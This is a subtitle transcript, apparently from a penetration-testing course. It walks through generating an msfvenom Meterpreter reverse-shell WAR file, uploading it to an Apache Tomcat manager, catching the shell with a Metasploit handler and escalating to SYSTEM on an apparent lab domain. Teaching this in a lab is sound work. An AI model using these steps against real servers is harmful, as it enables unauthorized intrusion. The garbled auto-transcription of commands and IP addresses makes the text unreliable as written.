WEBVTT 00:00.830 --> 00:02.140 Everybody welcome to next video. 00:02.150 --> 00:08.960 So now we've done our recon and we've kind of found out a possible path to attacking this machine. 00:08.960 --> 00:10.940 We're gonna go ahead and actually attack. 00:10.940 --> 00:18.000 So the first thing we want to do is generate a war file that we can use to upload to Apache because 00:18.010 --> 00:24.740 you can see this deploys a wire file to a server location so the first thing we're gonna do is we are 00:24.740 --> 00:26.570 going to generate our payloads. 00:26.570 --> 00:37.410 I myself am dash P windows interpreter reverse DCP l host. 00:37.420 --> 00:49.110 So you go to 1 9 2 1 6 8 1 for Port sequel to do for 4 4 4 and dash F will be la mode. 00:49.110 --> 00:53.220 Put this in the shell Dot. 00:53.670 --> 00:55.510 Go ahead and run that and generate our payload. 00:57.800 --> 01:03.400 Just so you know if any of you weren't following on why it's a Windows payload you can tell based on 01:03.730 --> 01:13.640 what we saw in the port scan so we come up to the port scan up top we can see we're seeing Microsoft 01:13.690 --> 01:21.260 DNS net bios SSN so this kind of gives us a hint that this is a Windows machine so we're gonna make 01:21.260 --> 01:22.720 the assumption that it is. 01:22.880 --> 01:29.770 And if our payload does not work for whatever reason we can go ahead and try a Linux payload instead. 01:29.870 --> 01:36.510 So the thing about war files is we have shelled out war now a war file is just a zip file. 01:36.570 --> 01:37.360 Right. 01:37.460 --> 01:38.990 So it can be deployed. 01:39.000 --> 01:44.360 The problem is there's two ways to to exploit this when this loads up. 01:44.360 --> 01:50.380 There will there will be a MSF or interpreter shell kicked back to us. 01:50.390 --> 01:54.700 The problem is if we do on the show that we are 01:58.040 --> 01:59.990 you can see we have this file. 02:00.020 --> 02:01.620 So this is what actually gets dumped. 02:01.670 --> 02:06.590 All of these get dumped into a directory called called whenever we name our war file. 02:06.590 --> 02:08.840 So that's how war files work in Apache tomcat. 02:09.380 --> 02:11.980 We need to know what this guy is. 02:11.980 --> 02:17.420 So the reason for it unzipping it is because we want to know what this is because it doesn't tell us 02:17.450 --> 02:18.720 this is always random. 02:18.830 --> 02:21.260 So we'll just keep that in the back of our minds. 02:21.260 --> 02:28.510 Now we're gonna set up our own interpreter show our interpreter handler so we can catch our shell that 02:28.510 --> 02:30.560 we just generated. 02:31.210 --> 02:36.520 And while we're going ahead and waiting for that to load up we will go ahead and deploy this. 02:36.520 --> 02:37.780 So we'll browse 02:40.990 --> 02:48.410 we'll do shelled out war open and deploy. 02:48.520 --> 03:01.980 So now we kind of got that set up one set this up use exploit all tie or set payload to Windows. 03:01.980 --> 03:17.790 INTERPRETER sluggish reverse TTP said I'll host 9 to 1 6 8 0 1 4 7 0 port 2 4 4 4 4 1 and go ahead and 03:17.790 --> 03:19.430 run that. 03:19.530 --> 03:25.850 Now if we remember over here this was r GSP file right. 03:25.870 --> 03:28.880 So if we go up to here we click on Shell. 03:29.050 --> 03:30.680 Now in this case. 03:30.700 --> 03:30.920 OK. 03:30.930 --> 03:35.230 So it happens to have directory listing so we can just click this but if it does not have directory 03:35.230 --> 03:37.110 listing you would just paste it here. 03:38.380 --> 03:40.870 And we click that's it. 03:40.870 --> 03:43.650 So let's go over to our handler. 03:43.720 --> 03:44.440 We've got our payload. 03:45.190 --> 03:46.090 Awesome. 03:46.090 --> 03:47.580 So let's take a quick look. 03:47.680 --> 03:51.820 Get you I.D. and it looks like we are administrator which is perfect. 03:51.820 --> 04:02.520 So if we do get system we should be ante system authority on this info on something called Web instance 04:03.750 --> 04:06.000 one on the domain Red Team nation. 04:06.000 --> 04:06.570 So perfect. 04:06.570 --> 04:12.210 So we've got system access on a server that is part of the domain renting nation. 04:12.240 --> 04:13.660 So we'll have to keep all this in mind. 04:13.660 --> 04:15.480 Now we're going to move on to post exploitation.